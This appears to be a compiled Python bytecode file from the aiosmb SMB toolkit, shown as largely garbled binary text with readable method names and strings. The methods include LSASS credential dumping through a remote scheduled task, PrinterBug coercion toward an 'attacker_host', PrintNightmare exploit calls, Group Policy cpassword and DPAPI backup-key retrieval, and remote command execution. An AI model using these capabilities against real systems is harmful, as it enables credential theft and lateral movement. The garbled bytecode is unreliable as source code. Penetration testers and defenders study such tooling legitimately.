   Ã   sž   �z7|du rt  d¡ ¡ }|du rtƒ ‚t |¡}|| }t |¡}|  ||¡I dH  |}|  	||¡I dH  W dS  t
yN } z
d|fW  Y d}~S d}~ww )z

		remote path must be UNC
		Nr!  r–   )rè   r(  r)  ÚNotImplementedErrorræ   Úbasenamer   Úfrom_uncpathrÚ   r*  r[   )	r4   rJ  rÒ   rþ   ÚfilenameÚremote_file_pathÚremote_filer1  r`   r5   r5   r6   Údeploy_service/  s"   €

€ÿzSMBMachine.deploy_servicec              
   C  s¨   �z:t | j| jd�4 I dH š }| ¡ 2 z3 dH W \}}||fV  q6 W d  ƒI dH  W dS 1 I dH s4w   Y  W dS  tyS } zd|fV  W Y d}~dS d}~ww )z
		Lists scheduled tasks
		rc   N)r   r0   r2   Ú
list_tasksr[   )r4   rj   ÚtaskrJ   r`   r5   r5   r6   Ú
tasks_listH  s   €ÿ2ÿ€ÿzSMBMachine.tasks_listÚ	task_namec              
   Ã   rG  )z
		Returns task XML
		rc   N)r   r0   r2   Úget_taskr[   ©r4   rU  rj   r`   r5   r5   r6   rV  S  s   €4ÿ€ÿzSMBMachine.get_taskro   c              
   C  sª   �z;t | j| jd�4 I dH š!}| |¡2 z3 dH W \}}||fV  q6 W d  ƒI dH  W dS 1 I dH s5w   Y  W dS  tyT } zd|fV  W Y d}~dS d}~ww )z
		Lists task folders
		rc   N)r   r0   r2   Úlist_foldersr[   )r4   rê   rj   ÚfolderrJ   r`   r5   r5   r6   Úlist_task_folders]  s   €ÿ2ÿ€ÿzSMBMachine.list_task_foldersÚtemplateÚflagsÚsddlÚ
logon_typec              
   Ã   s–   �z3t | j| jd�4 I dH š}|j|||||d�I dH W  d  ƒI dH  W S 1 I dH s-w   Y  W dS  tyJ } z
d|fW  Y d}~S d}~ww )z
		Registers a new task
		rc   N)rU  r\  r]  r^  )r   r0   r2   Úregister_taskr[   )r4   r[  rU  r\  r]  r^  rj   r`   r5   r5   r6   Útasks_registerh  s   €4ÿ€ÿzSMBMachine.tasks_registerc              
   Ã   rÿ   ry   )r   r0   r2   Úrun_commandsr[   )r4   Úcommandsrj   r`   r5   r5   r6   Útasks_execute_commandss  r  z!SMBMachine.tasks_execute_commandsc              
   C  s°  ��z<t | j| jd�4 I d H �š }t d¡ ¡ }d| }d| }| jd ur5|  d| jj ¡ |f ¡I d H  d||f }t	 
d| ¡ | jd urU|  d| jj ¡  ¡I d H  | |g¡I d H \}}|d urf|‚| jd ury|  d	| jj ¡  ¡I d H  d }td
ƒD ])}	t	 
d| ¡ t | j|¡}
|
 | j¡I d H \}	}|d ur§t |¡I d H  q n|‚| jd ur¾|  d| jj ¡  ¡I d H  |
 ¡ 2 z3 d H W \}}|d urÕt	 
d¡ |‚|d u rÛ n||fV  qÂ6 t	 
d¡ | jd urú|  d| jj ¡  ¡I d H  |
 ¡ I d H \}	}|d u�r!t	 
d¡ | jd u�r!|  d| jj ¡  ¡I d H  dV  W d   ƒI d H  W d S 1 I d H �s7w   Y  W d S  t�yW } zd |fV  W Y d }~d S d }~ww )Nrc   r!  r8  r9  z[%s] Temp file location: %sz%s  >  %s 2>&1r%  z2[%s] Registering new task and executing command...z.[%s] Task executed OK! Waiting for output filerl   r:  z [%s] Got output file, reading...r;  r<  z[%s] Deleting temp file...r=  z [%s] Failed to delete temp file!r>  )r   r0   r2   rè   r(  r)  r1   rg   rh   r	   r
  ra  r.  r   rÕ   rG   r=   rÇ   rî   r@  r[   )r4   r1  r6  rj   rB  rC  rD  rÏ   rJ   r]   r4  rá   r`   r5   r5   r6   Útasks_cmd_execz  sf   €
 



ù
	


4É9€ÿzSMBMachine.tasks_cmd_execc              
   Ã   rÿ   ry   )r   r0   r2   Údelete_taskr[   rW  r5   r5   r6   Útasks_delete¸  r  zSMBMachine.tasks_deletec           	   
   Ã   sx  �z¤|d u rt  d¡ ¡ d }d| }t d| ¡ |  |g¡I d H \}}|d ur+|‚|du rM| jd urC|  d| jj 	¡  ¡I d H  n
t
d| jj 	¡  ƒ tdƒD ]O}t d¡I d H  t | jd| ¡}| | j¡I d H \}}|d urtqQ|du rš| jd urŽ|  d	| jj 	¡ |f ¡I d H  nt
d	| jj 	¡ |f ƒ |d f  W S d |fW S  ty» } z
d |fW  Y d }~S d }~ww )
Nr!  r"  r#  r%  Fz7[%s] Dumping task created on remote end, now waiting...r;   r&  z-[%s] Remote file location: C:\Windows\Temp\%s)rè   r(  r)  r	   r
  rc  r1   r0   rg   rh   r,  r.  r=   rÇ   r   rÕ   rG   r[   )	r4   r  r   r1  rÏ   rJ   r]   r4  r`   r5   r5   r6   Útask_dump_lsassÀ  s:   €

"
€ÿzSMBMachine.task_dump_lsassÚattacker_hostc              
   Ã   sú   �zet | j| jd�4 I dH šK}| jdur|  d¡I dH  ntdƒ | d| jj ¡  ¡I dH \}}|dur7|‚|j|t	d| d�I dH \}}|durL|‚	 W d  ƒI dH  W dS 1 I dH s_w   Y  W dS  t
y| } z
d|fW  Y d}~S d}~ww )r7  rc   Nzopening printerz\\%s )ÚpszLocalMachiner–   )r   r0   r2   r1   r,  Úopen_printerrg   rh   Ú.hRpcRemoteFindFirstPrinterChangeNotificationExr,   r[   )r4   rh  rj   rA  rJ   Úrespr`   r5   r5   r6   Ú
printerbugã  s,   €
 ý4ð€ÿzSMBMachine.printerbugúWindows x64é   rN   ÚenvironmentsrV   c              
   Ã   s’   �z1t | j| jd�4 I d H š}|j|||d�I d H W  d   ƒI d H  W S 1 I d H s+w   Y  W d S  tyH } z
d |fW  Y d }~S d }~ww )Nrc   )rm   rV   )r   r0   r2   Úenum_driversr[   )r4   rp  rm   rV   rj   r`   r5   r5   r6   Úenum_printer_driversþ  s   €4ÿ€ÿzSMBMachine.enum_printer_driversr\   Ú
driverpathc              
   Ã   ó”   �z2t | j| jd�4 I d H š}|j||||d�I d H W  d   ƒI d H  W S 1 I d H s,w   Y  W d S  tyI } z
d |fW  Y d }~S d }~ww ©Nrc   )rs  rp  r   )r   r0   r2   Úprintnightmarer[   ©r4   r\   rs  rp  r   rj   r`   r5   r5   r6   rv    ó   €4ÿ€ÿzSMBMachine.printnightmarec              
   Ã   rt  ru  )r   r0   r2   rv  r[   rw  r5   r5   r6   Úpar_printnightmare  rx  zSMBMachine.par_printnightmarec              
   Ã   sü   �ztzUg }t  d| jj ¡  ¡}| | jd¡I d H  | jj|jdtj	d t
jd�I d H \}}|d ur3|‚|D ]}|j|j|jt|jjƒdœ}| |¡ q5|d fW W | ¡ I d H  S  tyu } zd |fW  Y d }~W | ¡ I d H  S d }~ww | ¡ I d H  w )Nz	\\%s\IPC$rÞ   s   ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ)rá   r\  )ÚindexÚcapÚspeedÚaddress)r   rM  r0   rg   rh   rG   ÚioctlÚtree_idr*   Ú"FSCTL_QUERY_NETWORK_INTERFACE_INFOr+   ÚIS_FSCTLÚIfIndexÚ
CapabilityÚ	LinkSpeedr  ÚSockAddr_StorageÚAddrru   r?   r[   )r4   Ú
interfacesÚipc_fileÚ
ifaces_rawrJ   Ú	iface_rawÚtr`   r5   r5   r6   Úlist_interfaces  s.   €&
ü
ü€üzSMBMachine.list_interfacesc              
   Ã   rÿ   ry   )r   r0   r2   Úcheck_service_statusr[   r  r5   r5   r6   r�  .  r  zSMBMachine.check_service_statusc              
   Ã   rÿ   ry   )r   r0   r2   Úget_service_sdr[   r  r5   r5   r6   rŽ  5  r  zSMBMachine.get_service_sdc              
   Ã   sŠ   �z-t | j| jd�4 I d H š}| ¡ I d H W  d   ƒI d H  W S 1 I d H s'w   Y  W d S  tyD } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   Úget_backupkeysr[   )r4   rj   r`   r5   r5   r6   r�  <  s   €4ÿ€ÿzSMBMachine.get_backupkeysr;   c                 C  s>   �t | j|d�2 z3 d H W \}}}}}|||||fV  q6 d S )N)rR   )r   r0   )r4   rR   rN  rp   Ú	cpasswordÚxmltyperJ   r5   r5   r6   Úget_cpasswdC  s   €$ÿzSMBMachine.get_cpasswdÚserver_namec              
   Ã   ó�   �z0t | j| jd�4 I d H š}|j||d�I d H W  d   ƒI d H  W S 1 I d H s*w   Y  W d S  tyG } z
d |fW  Y d }~S d }~ww ©Nrc   )Ú
servername)r"   r0   r2   Úadd_jobr[   )r4   Úatinfor“  rj   r`   r5   r5   r6   Ú
at_add_jobG  ó   €4ÿ€ÿzSMBMachine.at_add_jobc              
   Ã   sŽ   �z/t | j| jd�4 I d H š}|j|d�I d H W  d   ƒI d H  W S 1 I d H s)w   Y  W d S  tyF } z
d |fW  Y d }~S d }~ww r•  )r"   r0   r2   Ú	enum_jobsr[   )r4   r“  rj   r`   r5   r5   r6   Úat_enumN  s   €4ÿ€ÿzSMBMachine.at_enumÚjob_idc              
   Ã   r”  r•  )r"   r0   r2   Údel_jobr[   ©r4   r�  r“  rj   r`   r5   r5   r6   Ú
at_del_jobU  rš  zSMBMachine.at_del_jobc              
   Ã   r”  r•  )r"   r0   r2   Úget_jobr[   rŸ  r5   r5   r6   Úat_get_info\  rš  zSMBMachine.at_get_infoc           	   
   C  s8  �z�|   ¡ 2 zx3 d H W \}}|d urq|jdv r|dd fV  qd}|jdt d¡ ¡   }|jdt d¡ ¡   }t | j|¡I d H \}}|d u rUd}t 	| j|¡I d H  |du rxt
 |¡}|j| jdd�I d H \}}|d u rxd}| ¡ I d H  ||d fV  q6 W d S  ty› } zd d |fV  W Y d }~d S d }~ww )	N)rM   zC$zADMIN$rÂ   zD$zE$zF$zG$zH$zI$zJ$zK$zL$zM$zN$zO$zP$zQ$zR$zS$zT$zU$zV$zW$zX$zY$zZ$Fz\test_%sr!  z\test_file_%sTrÓ   )Úmode)rU   rV   Úunc_pathrè   r(  r)  r   Úcreate_remoter0   rö   r   rM  rG   r@  r[   )	r4   r\   rJ   Ú	writeableÚtest_path_dirÚtest_path_filer]   r×   r`   r5   r5   r6   Úshare_write_testc  s6   €

é€ÿzSMBMachine.share_write_testc              
   Ã   sð  �zÝg }t | j| jd�4 I d H šÁ}t| j| jd�4 I d H š—}| ¡ I d H \}}|d ur-|‚| |¡I d H \}}|d ur=|‚| ¡ I d H \}}|d urL|‚| ||¡I d H \}}	}
}|d ur_|‚| |	¡I d H \}}|d uro|‚| |¡I d H \}}|d ur|‚| 	||
¡I d H \}}|d ur�|‚| 
|¡2 z3 d H W \}}|d ur£|‚| |¡ q•6 W d   ƒI d H  n1 I d H sºw   Y  ||	||d fW  d   ƒI d H  W S 1 I d H s×w   Y  W d S  ty÷ } zd d d d |fW  Y d }~S d }~ww ry   )r   r0   r2   r   rŠ   r‚   Úget_usernameÚget_sid_for_userrƒ   Ú	open_userÚget_user_group_membershipsru   r[   )r4   ÚgroupsrŽ   r�   r�   rJ   r…   rp   ÚusersidÚ
domainnameÚuserridÚsdsidrš   rŸ   Úxr`   r5   r5   r6   Úwhoami�  sL   €ý(ä!4Þ#€ÿzSMBMachine.whoamir>  )NTF)F)rl   )rO   )T)rË   r/   )NF)NNrO   )ro   )rn  ro  rN   )rn  F)r;   )dÚ__name__Ú
__module__Ú__qualname__r7   r9   rC   r?   r-   rK   r   r   r  r   r[   ra   Úboolr
   rU   Úintr   rr   rx   rz   r   r}   r”   r›   r   r    r¥   r¦   r«   r¯   r³   r¶   r·   r¼   r   rÀ   r   r   rÊ   r   rÐ   rÚ   râ   rì   Úbytesrï   ró   r÷   rû   r%   rý   r&   r  r  r  r$   r  r   r  r  r  r5  rE  r)   ÚSERVICE_AUTO_STARTr*  r-  r/  r0  rQ  rT  rV  rZ  r(   ÚTASK_CREATEÚTASK_LOGON_NONEr`  rc  rd  rf  rg  rm  rr  rv  ry  r   rŒ  r�  rŽ  r�  r’  r™  rœ  r   r¢  r©  r´  r5   r5   r5   r6   r.   '   s”    
&	,,,&(22(***2	2	.	.
	.	*%j	L**	&&*&&&.8"B*	&,8C:L&&&&0&&(
D"0&>,&#46&&*&r.   )Jr=   ræ   rè   Útypingr   r   r   r   r   r   r   Úaiosmbr	   Úaiosmb.commons.interfaces.sharer
   Ú!aiosmb.commons.interfaces.sessionr   Úaiosmb.commons.interfaces.filer   Ú#aiosmb.commons.interfaces.directoryr   Úaiosmb.commons.utils.cpasswdr   Ú#aiosmb.dcerpc.v5.interfaces.srvsmgrr   r   Ú#aiosmb.dcerpc.v5.interfaces.samrmgrr   r   Ú#aiosmb.dcerpc.v5.interfaces.lsatmgrr   r   Ú&aiosmb.dcerpc.v5.interfaces.drsuapimgrr   Ú*aiosmb.dcerpc.v5.interfaces.servicemanagerr   r   Ú*aiosmb.dcerpc.v5.interfaces.remoteregistryr   r   Ú#aiosmb.dcerpc.v5.interfaces.rprnmgrr   r   Ú#aiosmb.dcerpc.v5.interfaces.tschmgrr   r   Ú"aiosmb.dcerpc.v5.interfaces.parmgrr   r   Ú#aiosmb.dcerpc.v5.interfaces.wkstmgrr    r!   Ú$aiosmb.dcerpc.v5.interfaces.atsvcmgrr"   Úaiosmb.dcerpc.v5.dtypesr#   Úaiosmb.dcerpc.v5.common.secretsr$   Úaiosmb.dcerpc.v5.common.servicer%   r&   Úaiosmb.connectionr'   Úaiosmb.dcerpc.v5r(   r)   Ú#aiosmb.protocol.smb2.commands.ioctlr*   r+   Úaiosmb.dcerpc.v5.rprnr,   Ú
contextlibr-   r.   r5   r5   r5   r6   Ú<module>   s<   $